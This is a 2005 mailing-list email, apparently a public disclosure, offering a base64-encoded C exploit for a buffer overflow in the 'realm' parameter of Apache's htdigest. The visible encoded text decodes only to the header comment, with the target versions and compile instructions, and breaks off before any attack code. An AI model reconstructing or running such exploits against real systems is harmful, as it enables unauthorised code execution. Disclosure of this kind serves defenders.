htdigest exploit code [bid 13537]
From: "K sPecial" <kspecial@linuxmail.org.>
To: [email protected], [email protected]
Date: Fri, 13 May 2005 04:04:14 +0800
Subject: htdigest exploit code [bid 13537]
X-Originating-Ip: 71.0.123.60
X-Originating-Server: ws5-1.us4.outblaze.com
Message-Id: <20050512200414.DFAEE203EE@ws5-1.us4.outblaze.com.>
X-Virus-Scanned: antivirus-gw at tyumen.ru
This is a multi-part message in MIME format.
--_----------=_111592825417000
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; charset="iso-8859-1"
here it is (as an attachment as requested)
--K-sPecial
--_----------=_111592825417000
Content-Disposition: attachment; filename="htdigest-realm-bof.c"
Content-Transfer-Encoding: base64
Content-Type: application/octet-stream; name="htdigest-realm-bof.c"
LyoKICogaHRkaWdlc3QtcmVhbG0tYm9mLmMgYnkgSy1zUGVjaWFsIDUtMTEt
MjAwNSB7IGlyYzovL2lyYy54enppcm96Lm5ldCB9CiAqCiAqIGV4cGxvaXQg
Zm9yIGh0ZGlnZXN0ICdyZWFsbScgcGFyYW1ldGVyIG92ZXJmbG93OyBub3Qg
c3VyZSBvbiB2ZXJzaW9ucywgc2VlbXMgdG8gYmUgPD0gMS4zLjI3IDw9IDIu
MC41MgogKiBodHRwOi8vd3d3LnNlY3VyaXRlYW0uY29tL3VuaXhmb2N1cy81
RVAwNjFGRUtDLmh0bWwKICogCiAqIGNvbXBpbGUgd2l0aDogZ2NjIC1vIGh0
ZGlnZXN0LXJlYWxtLWJvZiBodGRpZ2VzdC1yZWFsbS1ib2YuYyAtc3RkPWM5
OQogKiAKICogT25lIHRoaW5nIHRvIG5vdGUsIGFwYWNoZSBzZWVtcyB0byBo
YXZlIGh0ZGlnZXN0IGdvaW5nIG9uIHF1aXRlIG9kZCwgdGhpcyBjb2RlIHdh
cyB3cml0dGVuCiAqIGZvciB0aGUgdmVyc2lvbiB0aGF0IHRoZSBodGRpZ2Vz
dCBzaCBzY3JpcHQgbGlua3MgdG9nZXRo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